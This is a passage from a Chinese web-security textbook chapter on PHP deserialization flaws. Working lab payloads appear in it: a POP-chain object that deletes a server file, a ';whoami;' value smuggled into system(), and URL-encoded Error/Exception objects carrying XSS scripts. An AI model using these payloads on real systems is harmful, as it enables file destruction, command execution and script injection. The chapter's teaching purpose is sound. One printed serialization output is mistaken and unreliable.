版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
Web安全實踐第7章反序列化漏洞目錄CONTENTS7.1反序列化漏洞概述7.3常見的PHP魔術(shù)方法7.4POP鏈的構(gòu)造7.5反序列化漏洞示例7.6反序列化漏洞利用7.7反序列化漏洞繞過7.2PHP的序列化與反序列化7.8反序列化漏洞防御7.9習(xí)題7.10本章小結(jié)7.1反序列化漏洞概述反序列化漏洞是指Web應(yīng)用程序在執(zhí)行反序列化操作時未能充分驗證和過濾輸入數(shù)據(jù),從而使攻擊者能夠通過構(gòu)造惡意的序列化數(shù)據(jù),誘使Web應(yīng)用程序執(zhí)行特定的調(diào)用鏈,最終導(dǎo)致安全問題。在此類漏洞中,攻擊者通常構(gòu)造惡意的序列化數(shù)據(jù)并利用這些數(shù)據(jù)向Web應(yīng)用程序注入惡意對象,因此反序列化漏洞也被稱為對象注入(ObjectInjection)漏洞。反序列化漏洞具有較高的安全風(fēng)險,攻擊者可以利用此漏洞復(fù)用現(xiàn)有的Web應(yīng)用程序代碼,從而觸發(fā)遠程代碼執(zhí)行等其他高危漏洞。即使無法實現(xiàn)遠程代碼執(zhí)行,反序列化漏洞仍可能導(dǎo)致權(quán)限提升、任意文件讀取和拒絕服務(wù)攻擊等安全問題。在實際環(huán)境中,Java反序列化漏洞的影響尤為深遠。歷史上,諸如WebLogic、Shiro、ApacheCommonsCollections、ApacheStruts等Java組件和框架都曾存在一系列嚴重的反序列化漏洞。事實上,反序列化漏洞并不局限于Java語言,任何支持序列化與反序列化功能的編程語言都有可能存在類似的反序列化漏洞,包括但不限于PHP、Python和Ruby等。由于不同編程語言在序列化與反序列化的實現(xiàn)上存在差異,其漏洞的具體利用方式也各不相同。7.2PHP的序列化與反序列化7.2.1序列化7.2.2反序列化7.2PHP的序列化與反序列化序列化是將復(fù)雜的數(shù)據(jù)結(jié)構(gòu)或?qū)ο筠D(zhuǎn)換為字節(jié)流的過程。序列化后的數(shù)據(jù)可以是二進制格式,也可以是結(jié)構(gòu)化文本(例如JSON、XML、YAML等),這些格式具有不同程度的可讀性和傳輸效率,其中JSON和XML是Web應(yīng)用中最為常用的序列化格式。序列化能夠使以下操作變得更加便捷:(1)數(shù)據(jù)存儲:將復(fù)雜數(shù)據(jù)寫入進程間的共享內(nèi)存、文件或數(shù)據(jù)庫。(2)數(shù)據(jù)傳輸:在網(wǎng)絡(luò)通信、API調(diào)用或Web應(yīng)用程序的不同組件之間傳遞復(fù)雜數(shù)據(jù)。7.2.1序列化序列化過程:數(shù)據(jù)結(jié)構(gòu)或?qū)ο笫紫缺恍蛄谢鳎⊿erializer)處理,將其轉(zhuǎn)換成字節(jié)流的形式。生成的字節(jié)流具有多種用途:可以將其持久化存儲于文件中、臨時存放在內(nèi)存中、保存至數(shù)據(jù)庫系統(tǒng),或通過網(wǎng)絡(luò)協(xié)議進行傳輸。7.2PHP的序列化與反序列化在PHP中,serialize()函數(shù)用于將數(shù)據(jù)轉(zhuǎn)換成序列化字符串。序列化字符串包含了數(shù)據(jù)類型、數(shù)組結(jié)構(gòu)或?qū)ο蟮念惷皩傩灾档葦?shù)據(jù)。PHP支持對標量數(shù)據(jù)類型、復(fù)合數(shù)據(jù)類型以及特殊數(shù)據(jù)類型進行序列化,并使用不同的序列化標識符區(qū)分不同的數(shù)據(jù)類型。數(shù)據(jù)類型說明序列化標識示例boolean布爾型,true和false分別被序列化為1和0bb:1;integer整型ii:1234;double浮點型dd:1.234;array數(shù)組aa:1:{i:0;s:5:"value";}object對象OO:7:"MyClass":1:{s:4:"test";i:1234;}null空值NN;customobject自定義對象,表示自定義的對象序列化方式CC:7:"MyClass":12:{membervalue}7.2PHP的序列化與反序列化其中,序列化標識“C”表示實現(xiàn)了Serializable接口的自定義對象,7是類名“MyClass”的長度,12是序列化數(shù)據(jù)的長度,“membervalue”是實際的序列化數(shù)據(jù)。下面通過一段簡單的示例代碼介紹PHP的序列化過程,代碼如下:<?php$data=array("foo",1234,true,1.234);//定義一個數(shù)組,包含字符串、整數(shù)、布爾值和浮點數(shù)$ser=serialize($data);//序列化var_dump($ser);//輸出序列化字符串?>運行上述示例代碼,可以得到以下序列化字符串:a:4:{i:0;s:3:"foo";i:1;i:1234;i:2;b:1;i:3;d:1.234;}7.2PHP的序列化與反序列化由運行結(jié)果可知,PHP序列化字符串采用可見字符表示,具有良好的可讀性。序列化字符串主要由“:”(冒號)、“””(雙引號)、“;”(分號)和“{}”(大括號)組成。在這個序列化字符串中,“a”表示數(shù)組類型,“4”表示該數(shù)組包含4個元素,隨后大括號包裹的子串是數(shù)組元素的序列化內(nèi)容:“i:0;s:3:"foo";”表示數(shù)組中下標為0的元素,其序列化標識“s”表明該元素是字符串類型,字符串的長度為3,值為字符串“foo”?!癷:1;i:1234;”表示數(shù)組中下標為1的元素,其序列化標識“i”表明該元素是整型,值為整型“1234”?!癷:2;b:1;”表示數(shù)組中下標為2的元素,其序列化標識“b”表明該元素是布爾型,值為布爾型“true”?!癷:3;d:1.234;”表示數(shù)組中下標為3的元素,其序列化標識“d”表明該元素是浮點型,值為浮點型“1.234”。7.2PHP的序列化與反序列化在特定業(yè)務(wù)場景中,Web應(yīng)用程序通常會對某個類的對象進行序列化,以保存對象的狀態(tài)。以下是序列化類對象的示例代碼:<?phpclassMyClass{public$foo=1234;public$bar=null;}$obj=newMyClass();var_dump(serialize($obj));?>運行上述示例代碼,可以得到以下序列化字符串:a:4:{i:0;s:3:"foo";i:1;i:1234;i:2;b:1;i:3;d:1.234;}7.2PHP的序列化與反序列化在這個序列化字符串中,“O”表示對象類型,“7”表示類名長度,緊隨其后的“MyClass”為類名,“2”表示該對象有2個屬性:“s:3:"foo";i:1234;”表示對象的第一個屬性。序列化標識符“s”表明屬性名為字符串類型,字符串的長度為3,“foo”為屬性名;序列化標識“i”表明屬性值為整型,“1234”為屬性值?!皊:3:"bar";N;”表示對象的第二個屬性。序列化標識符“s”表明屬性名為字符串類型,字符串的長度為3,“bar”為屬性名;序列化標識符“N”表明屬性值類型為空值(null)。注意:雖然序列化字符串通常由可見字符構(gòu)成,但在特定情況下可能包含不可見字符。例如,當類屬性的訪問修飾符為protected或private時,序列化字符串中存在不可見字符\x00:7.2PHP的序列化與反序列化注意:雖然序列化字符串通常由可見字符構(gòu)成,但在特定情況下可能包含不可見字符。例如,當類屬性的訪問修飾符為protected或private時,序列化字符串中存在不可見字符\x00:(1)protected修飾符:只允許在定義該成員的類自身及其子類中訪問,在類的外部不可訪問。對訪問修飾符為protected的類屬性進行序列化時,會在對應(yīng)變量名前加上“\x00*\x00”,具體格式為:“\x00*\x00屬性名”,對應(yīng)URL編碼為“%00%2A%00屬性名”。例如,“s:6:"\x00*\x00foo";”表示foo屬性是protected類型,其中“s:6:”表示字符串長度為6。(2)private修飾符:只允許在定義該成員的類自身訪問,而不允許在類的外部或子類中訪問。對訪問修飾符為private的類屬性進行序列化時,會在對應(yīng)變量名前加上“\x00類名\x00”,具體格式為:“\x00類名\x00屬性名”,對應(yīng)URL編碼為“%00類名%00屬性名”。例如,“s:12:"\x00MyClass\x00foo"”表示foo屬性是private類型,其中“s:12:”表示字符串長度為12。雖然\x00字符不可見,但它會被計入序列化字符串的長度計算中,每個\x00字符的長度為1。在構(gòu)造包含\x00字符的序列化字符串時,建議對序列化字符串采用URL編碼,以避免\x00字符在傳輸過程中丟失。7.2PHP的序列化與反序列化反序列化是序列化的逆過程,指將字節(jié)流轉(zhuǎn)換回原始數(shù)據(jù)結(jié)構(gòu)或?qū)ο蟮倪^程。7.2.2反序列化反序列化過程,存儲于文件、內(nèi)存、數(shù)據(jù)庫中的字節(jié)流,或通過網(wǎng)絡(luò)接收的字節(jié)流,首先由反序列化器(Deserializer)處理,然后重建為原始的數(shù)據(jù)結(jié)構(gòu)或?qū)ο蟆T赑HP中,unserialize()函數(shù)用于執(zhí)行反序列化操作,該函數(shù)能夠?qū)erialize()函數(shù)生成的序列化字符串還原為原始的數(shù)據(jù)結(jié)構(gòu)或?qū)ο蟆?.2PHP的序列化與反序列化下面通過一段簡單的示例代碼介紹PHP的反序列化過程,代碼如下:<?php$data='a:4:{i:0;s:3:"foo";i:1;i:1234;i:2;b:1;i:3;d:1.234;}';//序列化字符串$arr=unserialize($data);//反序列化var_dump($arr);//輸出數(shù)組結(jié)構(gòu)和內(nèi)容?>7.2PHP的序列化與反序列化示例代碼使用了unserialize()函數(shù)將序列化字符串反序列化,并通過var_dump()函數(shù)輸出還原得到的數(shù)組,得到的結(jié)果如下:array(4){[0]=>string(3)"foo"[1]=>int(1234)[2]=>bool(true)[3]=>float(1.234)}從輸出結(jié)果可以觀察到,反序列化操作成功將序列化字符串還原為一個包含四個元素的數(shù)組,且完全保留了原始數(shù)據(jù)的類型和值。其中包括字符串類型的“foo”、整數(shù)類型的1234、布爾類型的true以及浮點數(shù)類型的1.234,這表明unserialize()函數(shù)能夠準確還原不同數(shù)據(jù)類型的值。7.3常見的PHP魔術(shù)方法魔術(shù)方法(MagicMethods)是面向?qū)ο缶幊讨幸活愄厥獾姆椒?,這些方法名以“__”(雙下劃線)作為前綴,會在對象生命周期的特定時刻被自動調(diào)用,而無需顯式調(diào)用。PHP中常見的魔術(shù)方法及其說明如下表所示。注入類型定義__construct()構(gòu)造方法,在對象創(chuàng)建時自動調(diào)用,通常用于對象的初始化工作__destruct()析構(gòu)方法,在對象的生命周期結(jié)束時自動調(diào)用,通常用于釋放資源或執(zhí)行清理操作__wakeup()在反序列化時自動調(diào)用__toString()當對象被當作字符串使用時自動調(diào)用__sleep()在對象被序列化前自動調(diào)用,并返回一個包含對象中所有應(yīng)被序列化的屬性名稱的數(shù)組__get()讀取不可訪問(protected或private)或不存在的屬性的值時自動調(diào)用__set()修改不可訪問(protected或private)或不存在的屬性的值時自動調(diào)用7.3常見的PHP魔術(shù)方法注入類型定義__call()當對象調(diào)用一個不可訪問(protected或private)或不存在的方法時自動調(diào)用__callStatic()當調(diào)用類中一個不可訪問(protected或private)或不存在的靜態(tài)方法時自動調(diào)用__invoke()當嘗試以調(diào)用函數(shù)的方式調(diào)用一個對象時自動調(diào)用__clone()當對象完成復(fù)制時自動調(diào)用__isset()當對不可訪問(protected或private)或不存在的屬性調(diào)用isset()或empty()時自動調(diào)用__unset()當對不可訪問(protected或private)或不存在的屬性調(diào)用unset()時自動調(diào)用__set_state()當使用var_export()函數(shù)導(dǎo)出一個對象時自動調(diào)用這個方法,可以用來實現(xiàn)對象的序列化和反序列化__debugInfo()當使用var_dump()或print_r()函數(shù)輸出一個對象時自動調(diào)用這個方法,可以用來控制對象的調(diào)試信息輸出PHP反序列化漏洞的產(chǎn)生通常與PHP的魔術(shù)方法有關(guān),尤其與__wakeup()和__destruct()等方法密切相關(guān)。這些魔術(shù)方法在對象反序列化時被自動調(diào)用,攻擊者可以通過構(gòu)造惡意的序列化數(shù)據(jù)觸發(fā)這些魔術(shù)方法,從而導(dǎo)致反序列化漏洞。7.3常見的PHP魔術(shù)方法1.__construct()方法PHP允許Web開發(fā)者在類中定義構(gòu)造方法__construct(),用于對象的初始化工作。當創(chuàng)建一個新的對象實例時,構(gòu)造方法會自動被調(diào)用。示例代碼如下:<?phpclassMyClass{public$foo;//構(gòu)造方法:初始化對象屬性function__construct($foo=NULL){echo"__construct()方法被調(diào)用".PHP_EOL;//PHP_EOL會自動返回當前系統(tǒng)的正確換行符
$this->foo=$foo;}}echo"創(chuàng)建對象".PHP_EOL;$obj=newMyClass(1234);//創(chuàng)建對象并初始化foo屬性echo$obj->foo.PHP_EOL;?>7.3常見的PHP魔術(shù)方法在這個示例中,MyClass類通過構(gòu)造方法__construct()初始化公共屬性$foo,當執(zhí)行“newMyClass(1234)”創(chuàng)建對象實例時,__construct()方法會被自動調(diào)用。程序執(zhí)行結(jié)果如下:創(chuàng)建對象__construct()方法被調(diào)用12347.3常見的PHP魔術(shù)方法2.__destruct()方法析構(gòu)方法__destruct()會在對象生命周期結(jié)束時(即當對象的所有引用被刪除或?qū)ο蟊伙@式銷毀)執(zhí)行,該方法通常用于釋放資源或執(zhí)行清理操作。示例代碼如下:<?phpclassMyClass{public$foo=1234;//析構(gòu)方法:對象銷毀時執(zhí)行清理操作
function__destruct(){echo"__destruct()方法被調(diào)用";}}echo"創(chuàng)建對象".PHP_EOL;$obj=newMyClass();//創(chuàng)建對象echo$obj->foo.PHP_EOL;//訪問對象屬性?>7.3常見的PHP魔術(shù)方法在這個示例中,MyClass類定義了一個公共屬性$foo和析構(gòu)方法__destruct()。隨后,創(chuàng)建了一個MyClass類的對象$obj,并輸出其屬性$foo。當程序結(jié)束時對象$obj會被銷毀,此時__destruct()方法會被自動調(diào)用。程序執(zhí)行結(jié)果如下:創(chuàng)建對象1234__destruct()方法被調(diào)用7.3常見的PHP魔術(shù)方法3.__wakeup()方法__wakeup()方法在對象反序列化時被自動調(diào)用,主要用于執(zhí)行對象恢復(fù)所需的初始化操作,例如重新建立數(shù)據(jù)庫連接等資源重連工作。示例代碼如下:<?phpclassMyClass{public$foo=1234;//反序列化時被自動調(diào)用
function__wakeup(){echo"__wakeup()方法被調(diào)用".PHP_EOL;$this->foo=4321;}}echo"創(chuàng)建對象".PHP_EOL;$obj=newMyClass();echo$obj->foo.PHP_EOL;$ser=serialize($obj);//序列化對象$unser=unserialize($ser);//反序列化echo$unser->foo.PHP_EOL;7.3常見的PHP魔術(shù)方法當反序列化時,__wakeup()方法會被自動調(diào)用,用于執(zhí)行自定義的初始化操作。在這個示例中,__wakeup()方法被用于將對象的$foo屬性值重置為4321。實際應(yīng)用中,__wakeup()方法常用于執(zhí)行更復(fù)雜的初始化任務(wù),以確保對象在反序列化后恢復(fù)到預(yù)期狀態(tài)。程序執(zhí)行結(jié)果如下:創(chuàng)建對象1234__wakeup()方法被調(diào)用43217.3常見的PHP魔術(shù)方法4.__toString()方法__toString()方法用于自定義對象的字符串表示形式,當對象被作為字符串使用時自動調(diào)用此方法。在PHP7.4及更早版本中,__toString()方法必須返回字符串,否則會拋出異常。示例代碼如下:<?phpclassMyClass{public$foo='ThisisMyClass';function__toString(){echo"__toString()方法被調(diào)用".PHP_EOL;return$this->foo;//返回對象的字符串表示
}}echo"創(chuàng)建對象".PHP_EOL;$obj=newMyClass();echo$obj;//觸發(fā)__toString()方法?>7.3常見的PHP魔術(shù)方法在這個示例中,__toString()方法會輸出信息“__toString()方法被調(diào)用”并返回對象屬性$foo的值。由于使用echo輸出對象$obj,會觸發(fā)__toString()方法的調(diào)用,程序執(zhí)行結(jié)果如下:創(chuàng)建對象__toString()方法被調(diào)用ThisisMyClass以下總結(jié)了觸發(fā)__toString()方法的主要場景:(1)使用echo、print、print_r()、var_dump()等輸出函數(shù)輸出對象時。(2)使用strval()等類型轉(zhuǎn)換函數(shù)將對象轉(zhuǎn)換為字符串時。(3)在字符串拼接操作中,對象被當作字符串使用時。(4)使用sprintf()等字符串格式化函數(shù)將對象格式化時。(5)使用比較運算符或比較函數(shù)將對象與字符串進行比較時。7.3常見的PHP魔術(shù)方法5.__sleep()方法__sleep()方法在對象被序列化前被自動調(diào)用。當調(diào)用serialize()函數(shù)時,Web應(yīng)用程序會檢查待序列化的類中是否定義了__sleep()方法。如果存在該方法,則在進行序列化操作之前自動調(diào)用它。__sleep()方法必須返回一個數(shù)組,其中包含所有需要被序列化的屬性名稱,這使得Web開發(fā)者能夠有選擇地序列化對象的部分屬性。如果沒有定義__sleep()方法,將默認序列化對象的所有屬性。示例代碼如下:<?phpclassMyClass{public$foo='ThisisMyClass';public$bar=1234;publicfunction__sleep(){echo"__sleep()方法被調(diào)用".PHP_EOL;return['foo'];//只序列化foo屬性,忽略bar屬性
}}7.3常見的PHP魔術(shù)方法在這段代碼中,__sleep()方法通過返回只包含foo元素的數(shù)組,指示W(wǎng)eb應(yīng)用程序在序列化MyClass類對象時只保存$foo屬性,而忽略$bar屬性。程序執(zhí)行結(jié)果如下:echo"創(chuàng)建對象".PHP_EOL;$obj=newMyClass();//創(chuàng)建對象$ser=serialize($obj);//序列化對象,會觸發(fā)__sleep()方法echo$ser;?>創(chuàng)建對象__sleep()方法被調(diào)用O:7:"MyClass":1:{s:3:"foo";s:15:"ThisisMyClass";}7.4POP鏈的構(gòu)造在反序列化過程中,如果攻擊者能夠控制對象的屬性值,則通常會使用面向?qū)傩跃幊蹋≒ropertyOrientedProgramming,POP)技術(shù)重用Web應(yīng)用程序已有的代碼,從而實現(xiàn)多種類型的Web攻擊。攻擊者通過精心構(gòu)造對象的屬性值,使得Web應(yīng)用程序在反序列化過程中能夠按預(yù)期順序調(diào)用一系列類方法或函數(shù),形成一個完整的方法調(diào)用鏈。執(zhí)行該調(diào)用鏈可能導(dǎo)致文件刪除、文件創(chuàng)建、XSS攻擊、遠程代碼執(zhí)行等多種安全威脅,這種調(diào)用鏈被稱為POP鏈(POPChain)。成功利用反序列化漏洞的關(guān)鍵在于:找到一條以反序列化操作為起點、攻擊操作為終點的POP鏈。其中,反序列化操作指的是能夠觸發(fā)反序列化的函數(shù),而攻擊操作則是指觸發(fā)Web攻擊的函數(shù)(例如代碼執(zhí)行函數(shù)、命令執(zhí)行函數(shù)、文件操作函數(shù)等)。在構(gòu)造POP鏈時,最理想的情況是攻擊操作直接位于對象的魔術(shù)方法中,例如__wakeup()或__destruct()。在實際場景中,攻擊者通常需要從這些魔術(shù)方法開始,逐步追蹤方法內(nèi)部的調(diào)用關(guān)系,直至找到可被利用的攻擊操作。7.4POP鏈的構(gòu)造以下pop.php是一個構(gòu)造POP鏈的示例,其代碼如下:<?php//Logger類:包含__destruct()方法,作為POP鏈的入口點classLogger{public$logtype;public$log;publicfunction__destruct(){//嚴格相等運算符,不僅比較表達式的值,還比較其類型
if($this->logtype==="TEMPORARY"){$this->log->clear();}else{$this->log->save();}}}7.4POP鏈的構(gòu)造//Stream類classStream{public$handle;publicfunctionclear(){$this->close();}publicfunctionclose(){$this->handle->close();}}//TempFile類:繼承自Stream類,實現(xiàn)具體的文件操作classTempFileextendsStream{public$filename;7.4POP鏈的構(gòu)造publicfunctionsave(){$tmpfile=tempnam("/tmp","XYZ_");//在/tmp目錄創(chuàng)建一個文件名以“XYZ_”開頭的臨時文件
$data=file_get_contents($this->filename);//讀取指定文件的內(nèi)容
file_put_contents($tmpfile,$data);//將內(nèi)容寫入臨時文件
}publicfunctionclose(){$flag=unlink($this->filename);//刪除文件操作(Sink)
echo$flag?($this->filename."issuccessfullydeleted"):'Failedtodelete';}}$data=unserialize($_GET['data']);//從GET請求參數(shù)中獲取并反序列化數(shù)據(jù)(Source)7.4POP鏈的構(gòu)造為構(gòu)造POP鏈,首先需要確定其起點和終點。在示例代碼中,Logger類的__destruct()方法因其能被自動調(diào)用的特性,可以作為POP鏈的理想起點;而要確定POP鏈的終點,則需要尋找能夠觸發(fā)Web攻擊的敏感函數(shù)。在本例中有三個敏感函數(shù):file_get_contents()、file_put_contents()以及unlink(),但經(jīng)分析發(fā)現(xiàn)位于TempFile類close()方法中的unlink()函數(shù)最具利用價值,該函數(shù)構(gòu)成了POP鏈的終點。unlink()函數(shù)用于文件刪除操作,攻擊者可以通過該漏洞實現(xiàn)任意文件刪除的攻擊效果。經(jīng)過上述分析,攻擊者需要找到一條以Logger類__destruct()方法為起點,TempFile類close()方法為終點的POP鏈。在尋找POP鏈時,可以采用正向查找或反向查找兩種策略:正向查找是從POP鏈的起點開始,逐步追蹤方法的調(diào)用,直至找到POP鏈的終點;反向查找則是從POP鏈的終點開始,逆向追蹤方法的調(diào)用,直至找到POP鏈的起點。7.4POP鏈的構(gòu)造此處采用正向查找的方式進行分析:(1)起點:分析Logger類的__destruct()方法,發(fā)現(xiàn)當$logtype屬性的值嚴格等于“TEMPORARY”時,會調(diào)用$this->log對象的clear()方法。(2)中間過程:clear()方法定義在Stream類中,該方法會繼續(xù)調(diào)用close()方法,隨后會調(diào)用$this->handle對象的close()方法。(3)終點:在TempFile類中找到close()方法的具體實現(xiàn),該方法包含了目標攻擊函數(shù)unlink()。上述過程的POP鏈7.4POP鏈的構(gòu)造通過分析POP鏈涉及的代碼可以發(fā)現(xiàn),Logger類的$logtype和$log屬性、Stream類的$handle屬性以及TempFile類的$filename屬性都是可控的,因此找到的這條調(diào)用鏈是一個可以被利用的完整POP鏈。下面演示如何使用該POP鏈刪除Web服務(wù)器(此處為CentOS7靶機)中的/var/www/html/target.txt文件(假設(shè)該文件存在),編寫以下代碼獲取攻擊payload:<?phpclassLogger{public$logtype;public$log;}classStream{public$handle;}classTempFileextendsStream{public$filename;}7.4POP鏈的構(gòu)造$l=newLogger();$s=newStream();$t=newTempFile();$t->filename="/var/www/html/target.txt";//要刪除的文件名$s->handle=$t;//使handle指向TempFile對象,以觸發(fā)TempFile::close()$l->logtype="TEMPORARY";$l->log=$s;//使log指向Stream對象,以觸發(fā)Stream::clear()echoserialize($l);//輸出序列化字符串執(zhí)行上述示例代碼可得到以下序列化字符串:O:6:"Logger":2:{s:7:"logtype";s:9:"TEMPORARY";s:3:"log";O:6:"Stream":1:{s:6:"handle";O:8:"TempFile":2:{s:8:"filename";s:24:"/var/www/html/target.txt";s:6:"handle";N;}}}7.4POP鏈的構(gòu)造將獲得的序列化字符串作為pop.php中參數(shù)data的值,使用Chrome瀏覽器訪問以下URL:04/practice7/pop.php?data=O:6:"Logger":2:{s:7:"logtype";s:9:"TEMPORARY";s:3:"log";O:6:"Stream":1:{s:6:"handle";O:8:"TempFile":2:{s:8:"filename";s:24:"/var/www/html/target.txt";s:6:"handle";N;}}}如下圖,最終成功刪除/var/www/html/target.txt文件,造成了任意文件刪除。通過分析上述反序列化漏洞示例,可以總結(jié)出反序列化漏洞的形成通常需要同時滿足以下關(guān)鍵條件:攻擊者能夠控制反序列化函數(shù)的參數(shù),可以通過Web前端傳入精心構(gòu)造的序列化數(shù)據(jù)。Web應(yīng)用程序中存在敏感函數(shù)(例如文件操作、命令執(zhí)行等),且該函數(shù)所在的方法能夠被直接調(diào)用或通過POP鏈間接調(diào)用。7.5反序列化漏洞示例反序列化漏洞主要出現(xiàn)在以下場景:首先,當Web應(yīng)用程序?qū)τ脩籼峁┑臄?shù)據(jù)進行反序列化操作時,未對輸入數(shù)據(jù)進行充分的驗證和過濾。其次,PHP魔術(shù)方法會在特定條件下自動調(diào)用,導(dǎo)致Web應(yīng)用程序的執(zhí)行邏輯偏離預(yù)期,使得攻擊者能夠在對象的生命周期內(nèi)執(zhí)行惡意操作。以下vuln_unserialize.php是一個存在反序列化漏洞的示例:<?phpclassUser{public$username;publicfunction__construct($username){$this->username=$username;}publicfunction__destruct(){system("echo$this->username>>info.txt");}}//反序列化用戶對象unserialize($_GET['data']);7.5反序列化漏洞示例在上述示例代碼中,User類的__destruct()方法試圖將$username屬性值記錄到info.txt文件中。然而,該方法存在嚴重的安全隱患:(1)直接調(diào)用了system()函數(shù)執(zhí)行系統(tǒng)命令。(2)在命令字符串中直接拼接用戶可控的變量。由于示例代碼中存在反序列化入口點“unserialize($_GET['data'])”,且__destruct()方法中調(diào)用system()函數(shù)執(zhí)行系統(tǒng)命令,當User對象被銷毀時會自動調(diào)用__destruct()方法,從而產(chǎn)生了潛在的反序列化漏洞。攻擊者可以通過構(gòu)造以下序列化數(shù)據(jù)實現(xiàn)任意命令執(zhí)行:04/practice7/vuln_unserialize.php?data=O:4:"User":1:{s:8:"username";s:8:";whoami;";}該序列化數(shù)據(jù)會創(chuàng)建一個User類對象,并將其username屬性設(shè)置為“;whoami;”在Linux系統(tǒng)中,“;”作為命令分隔符使用。當對象實例被銷毀時,實際執(zhí)行的命令將變?yōu)椋簊ystem("echo;whoami;>>info.txt");7.6反序列化漏洞利用7.6.1PHP原生類利用7.6.2Phar反序列化7.6反序列化漏洞利用在PHP反序列化漏洞利用中,即使Web應(yīng)用程序代碼中未包含可利用的漏洞或敏感操作,攻擊者仍可利用PHP原生類發(fā)起攻擊。PHP原生類是PHP語言本身提供的內(nèi)置類,它們隨PHP環(huán)境一起安裝,無需額外引入即可使用。以下介紹兩種常見的利用方式:1.Error/Exception類的__toString()方法造成XSSError類是PHP所有內(nèi)部錯誤類的基類,自PHP7引入。Error類的__toString()方法會在對象被當作字符串處理時被自動調(diào)用,返回包含錯誤詳情的字符串,通常用于輸出或記錄錯誤信息。攻擊者可通過該方法植入XSS代碼,實現(xiàn)反射型XSS攻擊,error_exception.php示例代碼如下:7.6.1PHP原生類利用<?php//從GET請求參數(shù)中獲取序列化數(shù)據(jù)并進行反序列化$unser=unserialize($_GET['data']);//觸發(fā)__toString()方法echo$unser;?>7.6反序列化漏洞利用通過以下代碼構(gòu)造序列化字符串:<?php//創(chuàng)建包含XSS代碼的Error對象$e=newError("<script>alert('xss')</script>");//序列化并進行URL編碼echourlencode(serialize($e));?>由于Error類的序列化字符串包含訪問修飾符為protected或private類型的屬性(例如message、string等屬性),因此需要對其進行URL編碼。執(zhí)行上述示例代碼可得到以下序列化字符串:O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A32%3A%22%2Fvar%2Fwww%2Fhtml%2Fpractice7%2Ftest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D7.6反序列化漏洞利用將獲得的序列化字符串作為error_exception.php中data參數(shù)值,使用Chrome瀏覽器訪問以下URL:04/practice7/error_exception.php?data=O%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A32%3A%22%2Fvar%2Fwww%2Fhtml%2Fpractice7%2Ftest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D如下圖,頁面出現(xiàn)彈窗,表明成功通過Error類造成XSS攻擊。7.6反序列化漏洞利用類似于Error類,Exception類同樣可用于實現(xiàn)類似的XSS攻擊。Exception類自PHP5引入,Exception類的__toString()方法會在對象被當作字符串處理時自動調(diào)用。通過以下代碼構(gòu)造序列化字符串:<?php//創(chuàng)建包含XSS代碼的Exception對象$e=newException("<script>alert('xss')</script>");//序列化并進行URL編碼echourlencode(serialize($e));?>由于Exception類的序列化字符串包含訪問修飾符為protected或private類型的屬性(例如message、string等屬性),因此需要對其進行URL編碼。執(zhí)行上述示例代碼可得到以下序列化字符串:7.6反序列化漏洞利用由于Exception類的序列化字符串包含訪問修飾符為protected或private類型的屬性(例如message、string等屬性),因此需要對其進行URL編碼。執(zhí)行上述示例代碼可得到以下序列化字符串:O%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A29%3A%22%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A0%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A32%3A%22%2Fvar%2Fwww%2Fhtml%2Fpractice7%2Ftest.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A3%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7D將獲得的序列化字符串作為data參數(shù)值,使用Chrome瀏覽器訪問,頁面出現(xiàn)彈窗,表明通過Exception類造成XSS攻擊。7.6反序列化漏洞利用2.SoapClient類的__call()方法造成SSRF漏洞SoapClient類是PHP提供的用于SOAP(SimpleObjectAccessProtocol)協(xié)議交互的原生類。SOAP作為一種基于XML的通信協(xié)議,在Web服務(wù)開發(fā)中得到廣泛應(yīng)用。在使用SoapClient類之前,需要確保PHP環(huán)境中已啟用SOAP擴展,雖然該擴展通常隨PHP一同安裝,但可能需要在php.ini配置文件中手動啟用??梢酝ㄟ^執(zhí)行phpinfo()函數(shù)并查看其輸出內(nèi)容以確認SOAP擴展的啟用狀態(tài),如果在輸出中觀察到如下圖所示的內(nèi)容,即表明該擴展已成功啟用。7.6反序列化漏洞利用SoapClient::__call()是SoapClient類的魔術(shù)方法,當嘗試調(diào)用一個在SoapClient類中未定義的方法時,__call()方法會被自動調(diào)用。SoapClient::__call()方法的語法如下:publicSoapClient::__call(string$name,array$args)其中,$name是被調(diào)用的SOAP方法的名稱,$args是傳遞給SOAP方法的參數(shù)數(shù)組。當SoapClient::__call()方法被觸發(fā)時,會自動發(fā)起HTTP/HTTPS請求。因此,如果目標Web應(yīng)用程序啟用了SOAP擴展并且存在反序列化漏洞,攻擊者可以通過構(gòu)造特定的序列化數(shù)據(jù)來觸發(fā)SSRF攻擊,soap_client.php示例代碼如下:<?php//反序列化用戶輸入$unser=unserialize($_GET['data']);//調(diào)用不存在的方法并輸出echo$unser->unknow();?>7.6反序列化漏洞利用這種調(diào)用不存在方法的情況可能出現(xiàn)在系統(tǒng)版本升級過程